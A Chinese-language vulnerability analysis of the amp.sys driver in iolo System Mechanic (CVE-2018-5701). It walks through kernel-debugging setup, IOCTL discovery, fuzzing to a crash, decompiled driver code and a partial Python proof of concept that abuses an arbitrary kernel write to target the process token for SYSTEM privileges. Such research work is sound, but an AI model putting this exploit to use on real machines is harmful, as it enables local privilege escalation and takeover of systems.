System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题,该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。
漏洞信息
System Mechanic工具软件被设计用来识别和处理常见和复杂的系统问题。凭借其专利的性能技术,System Mechanic可以修复包括错误、崩溃和冻结在内的问题,并恢复您的PC,使其达到最大的速度、功率和稳定性。它能提升系统速度,修复问题,清除垃圾和保护隐私,并弥补安全漏洞。其他功能包括Liveboost、Powersense、超性能模式、netbooster、Stability Guard、Activecare、PC Cleanup、内存机械师等。
该漏洞在其安装的amp.sys驱动中,可被利用将程序升级至SYSTEM权限。
官方链接:https://www.iolo.com/products/system-mechanic/
Exploit Title - System Shield AntiVirus & AntiSpyware Arbitrary Write Privilege Escalation
Date - 29th January 2018
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.iolo.com/
Tested Version - 5.0.0.136
Driver Version - 5.4.11.1 - amp.sys
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2018-5701
Vendor fix url -
Fixed Version - 0day
Fixed driver ver - 0day
软件下载
amp.sys 及 SystemMechanicPro.exe 安装包:
链接:https://pan.baidu.com/s/17oSlRZZwjxdt2881n8TNhA
提取码:ff7k
测试环境
虚拟机:windows 10-10.0.18362
宿主机:win11
使用工具:
DeviceTree
WinObj
IOCTLpus x64 v2.4
IDA pro 8.3
双机调试环境搭建
虚拟机设置
VMware设置:
接下来使用管理员权限运行下面bat脚本:
@echo off
bcdedit /dbgsettings serial baudrate:115200 debugport:1
if %errorlevel% neq 0 (
echo 错误: 无法设置调试器设置。
goto End
)
bcdedit /copy {current} /d “DebugMode”
if %errorlevel% neq 0 (
echo 错误: 无法复制当前BCD条目。
goto End
)
for /f “tokens=2 delims={}” %%i in (‘bcdedit /copy {current} /d “DebugMode”’) do set NEWGUID={%%i}
if %errorlevel% neq 0 (
echo 错误: 无法获取新的GUID。
goto End
)
bcdedit /displayorder {current} %NEWGUID%
if %errorlevel% neq 0 (
echo 错误: 无法更新显示顺序。
goto End
)
bcdedit /debug %NEWGUID% ON
if %errorlevel% neq 0 (
echo 错误: 无法启用调试。
goto End
)
echo 操作成功完成。
:End
pause
或者逐步运行:
进入 win10 虚拟机管理员权限打开cmd,运行:
bcdedit /dbgsettings serial baudrate:115200 debugport:1
/dbgsettings 是 bcdedit 的一个选项,表示我们要设置 debug 的配置。接下来的 serial baudrate:115200 debugport:1 是/dbgsettings 的详细参数:
serial 表示我们选择使用串行端口进行调试。
baudrate:115200 表示串行端口的波特率(即信号传输速率)设置为 115200。
debugport:1 表示调试端口设置为 COM1。
复制一个开机选项,命名为DebugMode(可任意命名):
bcdedit /copy {current} /d DebugMode
运行结果:
C:\Windows\system32>bcdedit /copy {current} /d DebugMode
已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。
增加一个开机引导项,注意这个ID要填写上一条命令生成的一串数字或字母:
bcdedit /displayorder {current} {ID}
激活Debug模式:
bcdedit /debug {ID} ON
完整操作:
Microsoft Windows [版本 10.0.18362.30]
© 2019 Microsoft Corporation。保留所有权利。
C:\Windows\system32>bcdedit /dbgsettings serial baudrate:115200 debugport:1
操作成功完成。
C:\Windows\system32>bcdedit /copy {current} /d DebugMode
已将该项成功复制到 {72c29121-c9be-11ee-8aa3-dec98b57ae79}。
C:\Windows\system32>bcdedit /displayorder {current} {72c29121-c9be-11ee-8aa3-dec98b57ae79}
操作成功完成。
C:\Windows\system32>bcdedit /debug {72c29121-c9be-11ee-8aa3-dec98b57ae79} ON
操作成功完成。
接着重启虚拟机,选择DebugMode引导选项进入操作系统。(环境搭建起来后记得断网,否则会自动更新一些安全补丁影响调试)
如果端口号存在问题,删除虚拟机设置中的打印机设备。
物理机设置
创建windbg-x64的快捷方式,目标中设置为:
“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbg.exe” -b -k com:pipe,port=\.\pipe\com_1,baud=115200,resets=0 -y SRVD:\symbolhttp://msdl.microsoft.com/download/symbols
漏洞分析
漏洞触发
触发漏洞我们分为三个步骤:
寻找IOCTL
使用ioctlbf触发远程虚拟机中的BSOD
使用windbg查看调试符号
在我们的案例中,目标应用程序是: iolo – System Mechanic Pro v.15.5.0.61 (amp.sys)
安装过程中,请使用未安装其他杀软并且可以科学上网的虚拟机中选择完全安装。
安装后,我们利用 WinObj 恢复设备名称和权限,如下所示:
由于我们现在已经收集了设备名称(\Device\AMP),现在是寻找对应IOCTL代码的时候了。为此,我们必须将驱动程序 (amp.sys) 加载到反汇编器中(我们使用了 IDA),如果缺少,则添加以下所需的结构:
DRIVER_OBJECT
IRP
IO_STACK_LOCATION
到达 DriverEntry 函数并环顾四周,很明显驱动程序比我们想象的要复杂一些,我看到下面的代码:
if ( (unsigned __int8)sub_23750() )
{
sub_19EC0(RegistryPath);
started = sub_2CFE0(DriverObject);
if ( started >= 0 )
{
started = FltRegisterFilter(DriverObject, &Registration, &Filter);
if ( started >= 0 )
{
started = FltStartFiltering(Filter);
if ( started >= 0 )
{
if ( (unsigned __int8)sub_28B60() )
sub_2CC70(5i64);
else
started = -1073741670;
}
}
}
}
我们可以看到started = sub_2CFE0(DriverObject),该函数引用了DriverObject,查看该函数实现细节:
__int64 __fastcall sub_2CFE0(struct _DRIVER_OBJECT *a1)
{
NTSTATUS v2; // [rsp+40h] [rbp-48h]
struct _UNICODE_STRING DestinationString; // [rsp+58h] [rbp-30h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+68h] [rbp-20h] BYREF
memset(&unk_36BA8, 0, 0x2Cui64);
dword_36BAC = sub_2C670(“5.4.11”);
dword_36BB0 = sub_2C670(“5.4.11”);
dword_36BB4 = sub_2C670(" 4.7.3");
dword_36BB8 = 327742;
dword_36BBC = 327689;
dword_36BC0 = 0;
RtlInitUnicodeString(&DestinationString, L"\Device\AMP");
v2 = IoCreateDevice(a1, 0x58u, &DestinationString, 0x22u, 0, 0, &DeviceObject);
qword_36FD8 = (__int64)DeviceObject;
if ( DeviceObject )
{
RtlInitUnicodeString(&DestinationString, L"\Device\AMP");
RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\AMP");
v2 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if ( v2 >= 0 )
{
a1->MajorFunction[0] = (PDRIVER_DISPATCH)sub_2C8B0;
a1->MajorFunction[2] = (PDRIVER_DISPATCH)sub_2C8B0;
a1->MajorFunction[14] = (PDRIVER_DISPATCH)sub_2C580;
a1->MajorFunction[15] = (PDRIVER_DISPATCH)sub_2CE80;
qword_36FF8 = ExAllocatePool(NonPagedPool, 0x98ui64);
if ( qword_36FF8 )
{
*(_DWORD *)qword_36FF8 = 9;
*((_QWORD *)qword_36FF8 + 1) = sub_2CBA0;
*((_DWORD *)qword_36FF8 + 4) = 24;
*((_QWORD *)qword_36FF8 + 3) = sub_2CB20;
*((_DWORD *)qword_36FF8 + 8) = 16;
*((_QWORD *)qword_36FF8 + 5) = sub_2C960;
*((_DWORD *)qword_36FF8 + 12) = 40;
*((_QWORD *)qword_36FF8 + 7) = sub_2C850;
*((_DWORD *)qword_36FF8 + 16) = 8;
*((_QWORD *)qword_36FF8 + 9) = sub_2C7F0;
*((_DWORD *)qword_36FF8 + 20) = 8;
*((_QWORD *)qword_36FF8 + 11) = sub_18D20;
*((_DWORD *)qword_36FF8 + 24) = 32;
*((_QWORD *)qword_36FF8 + 13) = sub_2C510;
*((_DWORD *)qword_36FF8 + 28) = 0;
*((_QWORD *)qword_36FF8 + 15) = sub_2C360;
*((_DWORD *)qword_36FF8 + 32) = 32;
*((_QWORD *)qword_36FF8 + 17) = sub_2C460;
*((_DWORD *)qword_36FF8 + 36) = 8;
v2 = sub_166A0(qword_36FF8);
if ( v2 >= 0 )
v2 = 0;
}
else
{
v2 = -1073741670;
}
}
}
if ( v2 < 0 )
sub_2C280();
return (unsigned int)v2;
}
正如我们所看到的 DeviceName 被实例化和 DriverObject 被传递一样,我们非常有信心我们已经达到了正确的函数并继续反编译它。查看 MajorFunction[14] (偏移 0x0e 量) ,我们发现驱动程序IRP_MJ_DEVICE_CONTROL,如果存在一组系统定义的 I/O 控制代码 (IOCTL) ,驱动程序必须支持 (在 DispatchDeviceControl 例程中) 的请求。
双击 SUB_2C580 并反编译它(对应数组14),我们能够达到定义此驱动程序的 IOCTL 代码的点。接下来我们可以进一步解码IOCTL代码(0x226003),以深入了解内核用于访问随 IOCTL 请求传递的数据缓冲区的方法。使用OSR 在线 IOCTL 解码器工具,我们可以恢复以下信息:
METHOD_NEITHER:是最不安全的方法,可用于访问随 IOCTL 请求一起传递的数据缓冲区。使用此方法时,I/O 管理器不会对用户数据执行任何类型的验证,而只是将原始数据传递给驱动程序。
现在我们知道了 IOCTL 代码(0x226003)和DeviceName(\Device\AMP),我们可以继续对驱动程序进行fuzz并查找漏洞。
Ioctlbf 是专门用来fuzz ioctl的工具,语法非常容易理解,下载ioctlbf的可执行文件,然后运行:
ioctlbf.exe -d AMP -i 226003 -u -e
参数的含义为:
-d Symbolic device name (without \.) 设置驱动设备
-i IOCTL code used as reference for scanning (see also -u) 设置IOCTL代码
-u Fuzz only the IOCTL specified with -i 只fuzz一个IOCTL
-e Display error codes during IOCTL codes scanning 扫描期间显示错误日志
不出意外的话,你会看到BSOD:
此时windbg会发生断点:
Microsoft ® Windows Debugger Version 10.0.22621.755 AMD64
Copyright © Microsoft Corporation. All rights reserved.
Opened \.\pipe\com_1
Waiting to reconnect…
KDTARGET: Refreshing KD connection
Connected to Windows 10 18362 x64 target at (Mon Apr 8 18:28:49.016 2024 (UTC + 8:00)), ptr64 TRUE
Kernel Debugger connection established.
************* Path validation summary **************
Response Time (ms) Location
Deferred SRVD:\symbolhttp://msdl.microsoft.com/download/symbols
Symbol search path is: SRVD:\symbolhttp://msdl.microsoft.com/download/symbols
Executable search path is:
Windows 10 Kernel Version 18362 MP (2 procs) Free x64
Product: WinNt, suite: TerminalServer SingleUserTS
Edition build lab: 18362.1.amd64fre.19h1_release.190318-1202
Machine Name:
Kernel base = 0xfffff8041b800000 PsLoadedModuleList = 0xfffff804
1bc43290
Debug session time: Mon Apr 8 18:28:48.384 2024 (UTC + 8:00)
System Uptime: 0 days 0:00:07.954
nt!DebugService2+0x5:
fffff8041b9c45d5 cc int 3 0: kd> g Access violation - code c0000005 (!!! second chance !!!) amp+0x6c8d: fffff804
23a06c8d 488b0e mov rcx,qword ptr [rsi]
打印详细信息:
0: kd> !analyze -v
PROCESS_NAME: ioctlbf.EXE
READ_ADDRESS: 0000000000000000
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 0000000000000000
EXCEPTION_PARAMETER2: 0000000000000000
STACK_TEXT:
fffff680bbc6f6e0 ffff8281
28106510 : ffff828127379080 00000000
00000000 0000000000000000 00000000
00000001 : amp+0x6c8d
fffff680bbc6f6e8 ffff8281
27379080 : 0000000000000000 00000000
00000000 0000000000000001 00000000
00000001 : 0xffff828128106510 fffff680
bbc6f6f0 0000000000000000 : 00000000
00000000 0000000000000001 00000000
00000001 ffff828120d608d0 : 0xffff8281
27379080
SYMBOL_NAME: amp+6c8d
MODULE_NAME: amp
IMAGE_NAME: amp.sys
STACK_COMMAND: .cxr; .ecxr ; kb
BUCKET_ID_FUNC_OFFSET: 6c8d
FAILURE_BUCKET_ID: ACCESS_VIOLATION_amp!unknown_function
OS_VERSION: 10.0.18362.1
BUILDLAB_STR: 19h1_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {9d982166-878b-aa13-3034-b3099cea282a}
Followup: MachineOwner
可以看到一个看起来很像空指针解引用(null pointer dereference)的错误,可以判断出该驱动的Ioctl是存在问题的,需要进一步分析
分析 SUB_2C580 调度例程
sub_2C580函数是设备驱动程序中的一个调度例程,即当用户向设备发送DeviceIoControlAPI调用请求时,Windows操作系统会自动调用这个函数进行处理。使用 IDA Pro 我们可以看到这个函数有2个参数:
第一个参数(a1)是指向DeviceObject的指针,DeviceObject是代表设备驱动程序内部状态的核心数据结构。
第二个参数(a2)是指向IRP数据结构的指针,IRP包含了用户通过DeviceIoControlAPI发送过来的所有请求信息。
sub_2C580函数通过IRP获取到了当前的IO_STACK_LOCATION,这是一个包含了许多关键信息的数据结构,包括了用户通过DeviceIoControl发送过来的内存缓冲区。
在代码第11行,比较用户发送的IOCTL代码(保存在Parameters.Read.ByteOffset.LowPart成员变量中)和驱动程序中硬编码的值0x226003。
如果它们相等,说明这是一个特定的请求操作,然后驱动程序会调用相应的处理函数sub_166D0。
如果不相等,v6被设置为-1073741808(0xC0000010),这是一个错误代码,表示请求不成功。
然后,将v6的值设置为a2->IoStatus.Status并通过IofCompleteRequest返回给用户态。这个v6的值就是驱动返回给用户态的结果。
如果处理成功,v6里面就是成功的结果;如果出错,它就是错误代码。
当然,我们需要分析成功时触发sub_166D0的逻辑,这个函数被sub_2C580调用时传入了三个参数:
v6 = sub_166D0(v3, Parameters, Options);
v3 是 IoIs32BitProcess函数的返回值。它是一个简单的布尔值,用于指示调用进程是32位(TRUE) 还是64位 (FALSE)。
Parameters是指向存储创建命名管道参数的用户空间缓冲区的指针。此地址正是作为参数传递给 API 的 DeviceIoControl 缓冲区地址。
Options是上述缓冲区的大小。
分析 SUB_166D0 处理函数
首先查看调用流程,Xrefs to SUB_166D0:
Xrefs from SUB_166D0:
在用户发送的IOCTL代码等于驱动驱动程序中硬编码的值0x226003时,会调用SUB_166D0函数,我们分析一下这个函数的运行流程。具体伪代码如下:
__int64 __fastcall sub_166D0(char a1, unsigned int *a2, unsigned int a3)
{
unsigned int v4; // eax
__int64 v5; // r8
__int64 v6; // rbx
__int64 v8; // [rsp+20h] [rbp-28h] BYREF
__int64 v9; // [rsp+28h] [rbp-20h]
__int64 v10; // [rsp+30h] [rbp-18h]
__int64 *v11; // [rsp+38h] [rbp-10h]
__int64 v12; // [rsp+68h] [rbp+20h] BYREF
if ( a1 )
{
if ( a3 >= 0xC )
{
v4 = *a2;
v5 = (int)a2[1];
v6 = (int)a2[2];
goto LABEL_6;
}
return 0xC0000023i64;
}
if ( a3 < 0x18 )
return 0xC0000023i64;
v8 = *(_QWORD *)a2;
v9 = *((_QWORD *)a2 + 1);
v10 = *((_QWORD *)a2 + 2);
v6 = v10;
v5 = v9;
v4 = v8;
LABEL_6:
if ( !qword_38B28 )
return 0xC0000001i64;
if ( v4 >= *(_DWORD *)qword_38B28 )
return 0xC000000Di64;
v9 = v5;
v8 = *(_QWORD *)(qword_38B28 + 16i64 * v4 + 8);
LODWORD(v10) = *(_DWORD *)(qword_38B28 + 16i64 * v4 + 16);
v11 = &v12;
sub_16C40((__int64)&v8);
if ( a1 )
*(_DWORD *)v6 = v12;
else
*(_QWORD *)v6 = v12;
return 0i64;
}
由于此函数比前一个函数稍微复杂一些,因此我们首先分析了各种返回值,以了解代码流和对输入施加的约束。
我们有 5 个 return 语句,每个语句都有一个状态代码。让我们将它们转换为十六进制并在此处列出它们:
return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
return 0xC0000023 == STATUS_BUFFER_TOO_SMALL
return 0xC0000001 == STATUS_UNSUCCESSFUL
return 0xC000000D == STATUS_INVALID_PARAMETER
return 0x0 == STATUS_SUCCESS
每个返回的状态码对应的信息是从MSDN上面找到的。
这个sub_166D0函数接受三个参数,我们分析一下每个参数对应的含义:
a1,类型为char,在函数中用作判断是否是32位或者64位的bool值。
a2,类型为unsigned int的指针,指向用户态传过来的buffer。
a3,类型为unsigned int,是用户态传过来的buffer的大小。
这与我们对引用这个函数时传入的参数的判断是正确的。
正如我们之前所说,a1是调用方传递给函数的第一个参数,是IoIs32BitProcess的返回值,而a3是缓冲区大小。因此,我们可以看到:
如果调用过程为32位,则缓冲区大小必须等于或大于12字节(0xC)。
相反,如果进程是64位,则它必须等于或大于24字节(0x18)。
在这两种情况下,如果缓冲区大小的长度合适,则代码将跳转到LABEL_6。在64位情况下,通过将buffer划分为3个8字节长的值来创建更多局部变量。
v8 = *(_QWORD *)a2;
v9 = *((_QWORD *)a2 + 1);
v10 = *((_QWORD *)a2 + 2);
这三行代码的含义是将传入函数的参数a2看作是一个指向64位(或者8字节)整数的指针,并将该指针指向的前三个64位整数的值赋给本地变量v8,v9和v10。
具体来说:
v8 = *(_QWORD *)a2;:将a2转化为一个指向64位整数的指针,并将其所指向的值赋给v8。
v9 = *((_QWORD *)a2 + 1);:将a2转化为一个指向64位整数的指针,向前移动一位,然后将其所指向的值赋给v9。
v10 = *((_QWORD *)a2 + 2);:将a2转化为一个指向64位整数的指针,向前移动两位,然后将其所指向的值赋给v10。
向前移动就是指向更高的地址移动,而向后移动就表示向更低的地址移动
然后将qword_38B28 + 16v4 + 8的值赋给v8,qword_38B28 + 16v4 + 16的值赋给v10。然后,调用函数sub_16C40(&v8)。
qword_38B28定义为在运行时填充的地址,其中包含32位值 0x00000009 。下面我们通过使用 WinDbg 在此函数上放置断点并使用我们之前找到的 IOCTL 代码调用 DeviceIoControl API 来理解这一点。为了能够发送任意 IOCTL 请求,我们利用了一个开源软件:IOCTLpus,这个软件可以将其视为可用于通过任意输入发出 DeviceIoControl 请求的工具。
使用 IOCTLpus 执行任意 DeviceIoControl 请求,逐渐更改 UserBuffer 值,我们发现该漏洞不是空指针解引用。将所有缓冲区的值设置为 0 是一种奇怪的 ioctlbf 行为,使漏洞看起来像是空指针取消引用,而不是实际的任意写入。
Tips:
lm vm amp:“lm vm amp” 命令的目的是查找并显示amp驱动的基址,然后可以在 IDA Pro 中进行重定位,这样就可以在 IDA Pro 和 Windbg 之间使用统一的地址进行切换。
1: kd> lm vm amp
Browse full module list
start end module name
fffff80242400000 fffff802
4242e000 amp (deferred)
Image path: amp.sys
Image name: amp.sys
Browse all global symbols functions data
Timestamp: Wed Mar 26 03:59:30 2014 (5331E022)
CheckSum: 0003819E
ImageSize: 0002E000
Translations: 0000.04b0 0000.04e4 0409.04b0 0409.04e4
Information from resource tables:
Unable to enumerate user-mode unloaded modules, Win32 error 0n30
“fffff802-42400000 fffff802-4242e000”:这是amp模块在内存中的起始地址和结束地址,从这可以知道这个模块在内存中的位置和大小。
接下来,可以将 “amp” 模块的基地址(也就是 fffff802 42400000)复制到 IDA Pro 中,通过 “Edit” -> “Segments” -> “Rebase Program” 来设置正在分析的文件的基地址。这样在IDA Pro与Windbg之间就可以保持一致。
运行ioctrl,设置Path为\.\AMP,设置IOCTL Code为0x226003,设置发送数据为25字节(根据前文判断x64需要大于等于24字节)运行发送,如果不符合要求的话就会报错(注意使用自己编译版本的ioctlplus,官网的存在问题,并且Input size莫名其妙被遮挡了,自己编译也没有解决,但是并不影响使用):
发送25字节后,系统中断:
0: kd> g
Access violation - code c0000005 (!!! second chance !!!)
fffff802`42406c8d 488b0e mov rcx,qword ptr [rsi]
我们去IDA中查找对应的指令:
访问冲突发生在指令16C8D , mov rcx, [rsi]处。
查看 mov rcx, [rsi] 指令并追溯 rsi 分配和用法使我们发现rsi的值来自rcx寄存器:
(注意下文的地址前缀为0x000000000001,0x0000000000016C47对应FFFFF80242406C47)
.text:0000000000016C47 mov rbx, rcx
.text:0000000000016C89 mov rsi, [rbx+8]
.text:0000000000016C8D mov rcx, [rsi]
在x86_64架构的Windows系统(必须是64位系统)的fastcall调用约定:前四个整数或者指针类型的函数参数将会分别传递给RCX,RDX,R8和R9寄存器。如果函数的参数数量超过4个,那么第五个以及之后的参数将会通过栈传递。
可以看到我们当前断点是发生在sub_16C40函数中的,在sub_166D的代码逻辑进入label_6后执行的函数为sub_16C40,具体的传入参数为sub_16C40(&v8)。
在操作过程中,ioctlbf有一个奇异的行为,它会将整个用户缓冲区设置为0。这导致第1个用户缓冲区全部包含0,会被用来计算变量v8的值(通过这个公式:v8 = *(_QWORD *)(9 + 16 * field1_user_buffer + 8))。然后,在执行mov rcx, [rsi]指令时,rsi是一个被解引用的非法内存位置的指针。
我们在sub_16C40的内部可以看到还有一个call指令:
我们先看这部分代码:
**(_QWORD **)(a1 + 24) = (*(__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(
**(_QWORD **)(a1 + 8),
*(_QWORD )((_QWORD *)(a1 + 8) + 8i64),
*(_QWORD )((_QWORD *)(a1 + 8) + 16i64),
*(_QWORD )((_QWORD )(a1 + 8) + 24i64));
((__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1): 这部分代码将内存地址a1作为一个函数指针对待。这个函数接受四个QWORD(64位整数)作为参数,并返回一个__int64类型的值。
然后,这个函数被调用,并传递四个参数给它:
第一个参数 **(_QWORD )(a1 + 8),取a1 + 8这个地址的值,然后再对得到的值进行解引用,得到第一个参数。
接下来的三个参数类似,都是取a1 + 8这个地址的值,并加上一个偏移值(8,16,24),然后解引用得到。
最后,函数的返回值被存储在(_QWORD **)(a1 + 24)的位置。这是一个二级指针,将函数的返回值存储在这个二级指针指向的具体位置。
这个看起来还是比较复杂的,但是如果我们直接从汇编的角度看(就像分析上面的空指针解引用),我们只需要控制下面这部分就可以了:
.text:FFFFF80242406C9C call qword ptr [rbx]
其中rbx由下面显示的靠近它的指令来传递:
.text:FFFFF80242406C47 mov rbx, rcx
分析 sub_16C40 函数
可以看到进入label_6后执行的函数为sub_16C40,具体的传入参数为sub_16C40(&v8):
void __fastcall sub_16C40(__int64 a1)
{
unsigned __int64 v2; // rcx
__int64 v3; // rax
void *v4; // rsp
char vars20; // [rsp+20h] [rbp+20h] BYREF
v2 = *(unsigned int *)(a1 + 16);
v3 = v2;
if ( v2 < 0x20 )
{
v2 = 40i64;
v3 = 32i64;
}
v4 = alloca(v2);
if ( v3 - 32 > 0 )
qmemcpy(&vars20, (const void )((_QWORD )(a1 + 8) + 32i64), v3 - 32);
**(_QWORD **)(a1 + 24) = ((__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD, _QWORD))a1)(
**(_QWORD **)(a1 + 8),
*(_QWORD )((_QWORD *)(a1 + 8) + 8i64),
*(_QWORD )((_QWORD *)(a1 + 8) + 16i64),
*(_QWORD )((_QWORD *)(a1 + 8) + 24i64));
}
这个函数 sub_16C40 第一次从参数 a1 结构指定的位置读取一个 unsigned int,并存放到两个变量 v2 和 v3 中,如果这个值小于32,则两个变量被设置为40和32。
然后函数分配一块大小为 v2 的内存,其地址存储在v4中。然后,如果 v3 大于32,那么函数从 a1 + 8 的值加32的位置复制 v3 - 32 个字节到 vars20。变量 vars20 的值,从a1 + 8 的位置读取一个 QWORD 然后加上32,然后从这个位置开始,复制 v3 - 32 个字节。
最后,函数假设在 a1 的位置有一个函数指针,这个函数接收4个 QWORD 参数,并将其返回值保存在 **(_QWORD **)(a1 + 24)。这四个参数分别是从 **(_QWORD **)(a1 + 8)、*(_QWORD )((_QWORD )(a1 + 8) + 8i64)、(_QWORD )((_QWORD )(a1 + 8) + 16i64)、(_QWORD )((_QWORD *)(a1 + 8) + 24i64) 这些位置获取的。
简单来说,这个函数是让你传入一个结构体,然后根据这个结构体的内容执行一些操作,包括复制内存和调用某个函数,并将结果存回结构体的的位置。具体的功能取决于传入结构体的内容。
构造poc
现在我们已经知道了具体的原理,下面可以进行poc的构造了,这里直接使用python(我发现python构造poc真的很简单,虽然不能投入实战但是可以快速复现),在https://www.exploit-db.com/exploits/43929上是使用的C进行实现的,感兴趣的可以使用这个版本。
下面是python poc的构造:
首先指定驱动名称AMP,指定了NtQuerySystemInformation和OpenProcessToken函数的参数类型和返回值类型:
NTSTATUS = DWORD
PHANDLE = POINTER(HANDLE)
PVOID = LPVOID = ULONG_PTR = c_void_p
UINT32 = c_uint32
DEVICE_NAME = “\\.\AMP”
ntdll.NtQuerySystemInformation.argtypes = [DWORD, PVOID, ULONG, POINTER(ULONG)]
ntdll.NtQuerySystemInformation.restype = NTSTATUS
OpenProcessToken.argtypes = [HANDLE, DWORD , PHANDLE]
OpenProcessToken.restype = BOOL
然后定义数据结构:
class WriteWhatWhere(Structure):
# Misleading, we can only write 0xfffffffe in the address of “Where”
fields = [
(“Header”, UINT32),
(“Trigger”, PVOID),
(“Where”, PVOID)
]
class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure):
fields = [
(“Object”, PVOID),
(“UniqueProcessId”, PVOID),
(“HandleValue”, PVOID),
(“GrantedAccess”, ULONG),
(“CreatorBackTraceIndex”, USHORT),
(“ObjectTypeIndex”, USHORT),
(“HandleAttributes”, ULONG),
(“Reserved”, ULONG),
]
class SYSTEM_HANDLE_INFORMATION_EX(Structure):
fields = [
(“NumberOfHandles”, PVOID),
(“Reserved”, PVOID),
(“Handles”, SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1),
]
WriteWhatWhere:用于构造漏洞利用的数据结构,包含三个字段:Header,Trigger和Where。
SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX:表示系统句柄表中的条目信息。
SYSTEM_HANDLE_INFORMATION_EX:表示系统句柄信息,包含句柄数量和句柄表条目信息。
get_token_by(target_pid, data, _filter=None)遍历系统句柄信息,寻找与给定进程ID (target_pid) 匹配的令牌句柄:
def get_token_by(target_pid, data, _filter=None):
header = cast(data, POINTER(SYSTEM_HANDLE_INFORMATION_EX))
print(‘[+] Searching access token address’)
data = bytearray(data[16:])
current_entry = 0
address = None
while current_entry < header[0].NumberOfHandles:
address, pid, handle = struct.unpack('<QQQ', data[:24])
data = data[40:]
current_entry += 1
if pid != target_pid:
continue
if _filter and handle != _filter.value:
continue
break # Found
return address
get_token_address()获取当前进程的令牌句柄地址。它首先打开当前进程的令牌句柄,然后通过调用NtQuerySystemInformation查询所有系统句柄,最后调用get_token_by来获取与当前进程令牌匹配的句柄地址:
def get_token_address():
status_info_length_mismatch = 0xC0000004
token_query = 8
current_process_handle = HANDLE(kernel32.GetCurrentProcess())
pid = kernel32.GetCurrentProcessId()
print('[+] Current Process PID: ' + str(pid))
p_handle = HANDLE()
if OpenProcessToken(current_process_handle, token_query, byref(p_handle)) == 0:
print('[-] Error getting token handle: ' + str(kernel32.GetLastError()))
sys.exit(1)
print('[+] Found token handle at: {:08x}'.format(p_handle.value))
nt_status = status_info_length_mismatch
return_length = DWORD(0)
system_information_length = 0
handle_info = (c_ubyte * system_information_length)()
while nt_status == status_info_length_mismatch:
system_information_length += 0x1000
handle_info = (c_ubyte * system_information_length)()
nt_status = ntdll.NtQuerySystemInformation(
SystemExtendedHandleInformation,
byref(handle_info),
system_information_length,
byref(return_length)
)
token = get_token_by(pid, handle_info, _filter=p_handle)
if token is None:
print('[-] Error fetching token address')
sys.exit(1)
print('[+] Found token at {:08x}'.format(token))
return token
然后通过write使用设备IO控制向指定内存地址写入数据:
def write(where):
global device_handle
bytes_returned = c_ulong()
ioctl_arbitrary_overwrite = 0x226003
user_data = c_buffer(32)
user_data_p = addressof(user_data) + 32
write_what_where = WriteWhatWhere()
# Must be eight or we won't reach the vulnerable function
write_what_where.Header = 0x8
# Pointer to userland buffer
write_what_where.Trigger = user_data_p
# Pointer to overwrite with 0xfffffffe
write_what_where.Where = where
www = binascii.hexlify(bytes(bytearray(write_what_where)))
print("[+] Write what where structure")
print(" [>] Full structure: {}".format(b' '.join([www[i:i + 16] for i in range(0, 48, 16)])))
print(" [>] What : 0xfffffffe")
print(" [>] Where: {:08x}".format(write_what_where.Where))
success = kernel32.DeviceIoControl(
device_handle,
ioctl_arbitrary_overwrite,
byref(write_what_where),
sizeof(write_what_where),
0,
0,
byref(bytes_returned),
None
)
if not success:
print(" [-] Unable To Send DeviceIoControl")
return
完整代码参考:https://gist.github.com/klezVirus/e69c1e745a789e4b5d2b3c7ed02da765
参考链接
https://www.exploit-db.com/exploits/43929
https://www.sysfiledown.com/
https://d1nn3r.github.io/2019/02/23/windbgConnectVM/
https://xz.aliyun.com/t/7282?time__1311=n4%2BxnD0GDtGQi%3DNqx05%2BbDyi8DkIOKKDgjnoD&alichlgref=https%3A%2F%2Fwww.google.com%2F
https://github.com/10cks/OSR_DeviceTree_Vuln